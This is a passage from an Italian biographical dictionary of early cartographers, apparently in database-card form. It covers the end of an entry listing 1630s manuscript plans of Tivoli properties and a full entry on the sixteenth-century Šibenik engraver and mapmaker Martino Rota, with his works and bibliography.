Firmò alcune piante conservate presso l’Archivio dell’ospedale di Sant’Antonio, in Archivio dell’Accademia Ecclesiastica, n. 120 :
Tivoli, pianta delle vecchia chiesa profanata, anno 1637
Tivoli, pianta di alcuni possessi dei Sant’Antonio, anno 1637
Tivoli, pianta di una stanza ad uso di stalla, anno 1639
Tivoli, orto, anno 1637
Tivoli, Quintigliolo, oliveto, anno 1637
Tivoli, Puzzaglia, oliveto, anno 1637
Tivoli, Cozzane, oliveto, anno 1637

Casale di Tor Mastorda, anno 1639

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Susanna Passigli

Rota, Martino

Martino Rota
N. Sebenico 1532
M. 1583

Relazioni di parentela:

Ente/istituzione di appartenenza: La prima conoscenza dell’arte dell’incisione è stata acquisita probabilmente a Sebenico, presso il famoso orefice Orazio Fortezza mentre l’uso delle lastre di rame gli è stata insegnata in Italia presso Marcantonio Raimondi. Opera a Venezia, Firenze e Roma, infuenzato dalla tecnica del Dürer e degli incisori della Roma antica. Dal 1565 al 1572 vive a Venezia dove realizza delle raffigurazioni incise in rame, copie di quadri famosi ed opere proprie. Tra i suoi editori troviamo i più noti nomi veneziani quali Giovanni F. Camocio, Nicolò Nelli, Luca e Fernando Bertelli, Paolo Forlani, Francesco Valegio, Stefano Scolari e altri. Dalla fine del 1572 vive a Vienna come ritrattista e scultore di corte, prima presso Massimiliano II e poi dal suo erede Rodolfo II.
Qualifica: Incisore, grafico, cartografo

Biografia:
Nel periodo in cui risiede a Venezia (di cui fra il 1569 e il 1570 lavora anche a Roma) realizza le vedute delle città di Algeri, Modon, Parigi, Venezia e Napoli pubblicate nell’opera di FrancescoValegi Racolta di le piu illustri et famose citta di tutto il mondo pubblicata a Venezia attorno al 1572. Nel 1570 vive a Sebenico e elabora la carta dell’area di Zara e Sebenico, Il Vero Ritratto di Zara Et Di Sebenico Co(n) Diligenza Ridotte in Qvesta Forma A Commodita De Lettori Si Come Elle Si Ritrovano Al Presente Del Anno MDLXX Da Martino Rota Sebenzan. Illvstri Ac Reverendisimo Dontino Marco Lauredano Episcopo Enonien(si) D., stampata nel 1570. Delinea anche una serie di pregevoli raffigurazioni della battaglia di Lepanto del 1571 e la carta prospettica dell’area da Almissa a Traù, senza titolo ne firma, ma a lui attribuibile. Nel museo di Sebenico è conservata la carta del Sito Particolare Del Contado Dil Sebenico parte di Dalmatia in Sebenico MDLXX., probabilmente pubblicata dal Forlani, e fatta risalire secondo molti studiosi allo stesso Martin Rota: sembra che il lavoro sia stato eseguito a Sebenico ma stampato a Venezia. La veduta Fidellissimo Sibenico su incisione in rame, è tra i più notevoli e verosimili disegni oggi conservati che raffigurano una città dalmata del XVI sec. Il documento, di cui si conoscono copie conservate nel Museo Civico di Sebenico e in quello Archeologico di Spalato oltre che in alcune raccolte estere, appare senza firma ma viene ancora attribuita al Rota. Abitualmente questa veduta è inserita nell’isolario Civitatum aliquot insigniorum... di Donato Bertelli del 1574 e spesso serve da base per la realizzazione di simili disegni Sebenico presenti in altri isolari. Nell’isolario Isole famose, porti, fortezze,... di Giovanni Francesco Camocio del 1572 e nell’isolario Civitatum aliquot insigniorum... di Donata Bertelli del 1574 si trova una stampa in rame dell’attacco dei veneziani alla città turca di Modon con la firma Martinus Rota Sibenicensis faciebat. In tutto sono conosciuti circa 150 dei suoi lavori, oltre a quelli di carattere geo-cartografico, vari sono quelli su argomenti sacri e profani, molti dei quali si trovano nella raccolta dell’Albertini a Vienna. L’autore firmava le sue opere in vari modi, con il suo nome, con un monogramma o con il segno di una ruota oppure con l’aggiunta della sua origine Sibenicenses, Sebensan e simili. Raggiunge una notevole la fama di incisore lavorando il rame e l’acciaio opere di pittori famosi quali A. Dürer , Michelangelo, Tiziano e Klović. Esegue, inoltre incisioni originali con motivi religiosi e allegorici.

Produzione scientifica:

Produzione di cartografia manoscritta:
• Il vero Ritratto di Zara et di Sebenico..., incisione in rame, Venezia, 1570;
• Sito Particolare Del Contado Dil Sebenico parte di Dalmatia in Sebenico MDLXX, Venezia, 1570;
• Carta prospettica del spalatino (da Traù ad Almissa) in due fogli;
• Isola di Rodi, 1572
• Il Fidellissimo Sibenico, 1574?


Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DONATI L., Martino Rota, incisore sebenicese, in “Arch. Stor. per la Dalmazia”, Roma, Vol. II 1927, pp. 29-38.
JURKOVIĆ D., Karte i kartografi Šibenika i okolice, tesi, Sveučilište u Zagrebu, Geodetski fakultet, 1996.
PELC M., Život i djela šibenskog bakroresca Martina Rote Kolunića, Nacionalna i sveučilišna knjižnica, Zagreb i Gradska knjižnica "Juraj Šižgorić", Šibenik, 1997.
STOŠIĆ LK., Galerija uglednih Šibenčana. Kačić, Šibenik 1936, p. 38.

Rimandi ad altre schede: TOOLEY R. V., Tooley’s dictionary of Mapmakers, Map Collector Publications Limited, Tring, Hertfordshire, England, 1979, p.549. BÉNÉZIT, E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, Vol. IX, p.114 GLIIBICH S., Dizionario biografico degli uomini illustri della Dalmazia, Vienna, 1856, pp. 270-271. Kolunić-Rota, Martin, in: A. VUJIĆ (a cura di): Hrvatski leksikon, sv. I, Naklada Leksikon, Zagreb 1996, p. 614. ALMAGIÀ, R., Monumenta Italiae Cartographica, Firenze, I.G.M.,1929, p. 40b. ALMAGIÀ, R., Monumenta Cartographica Vaticana, Città del Vaticano, Biblioteca Apostolica Vaticana, 1948, Vol. II, p.102. DONATI L., Alcuni disegni sconosciuti di Martino Rota, in “Arch. Stor. per la Dalmazia”, Roma, Vol. V, 1930, pp. 419-431. DONATI L., Alcune stampe sconosciute di Martino Rota, in “Arch. Stor. per la Dalmazia”, Roma, Vol. VII, 1932, pp. 3-12. JURKOVIĆ D., Karte i kartografi Šibenika i okolice, tesi, Sveučilište u Zagrebu, Geodetski fakultet, 1996. KISIĆ A., Hrvatski krajevi i autori u venecijanskim izolarima iz 16. i početka 17. stoljeća, manoscritto, 2001. MARKOVIĆ M., Descriptio Croatiae, Naprijed, Zagreb 1993, p. 82. PAVIČIĆ T. - KRNČEVIĆ Ž. (a cura di), Šibenik na starim crtežima i grafikama, catalogo della mostra, Županijski muzej Šibenik, Šibenik 1999. ROGLIĆ M., Hrvatski kartografi Makarskog primorja, doline Neretve, Pelješca i Korčule, tesi di laurea, Sveučilište u Zagrebu, Geodetski fakultet, 1998.

Autore della scheda: Anonimo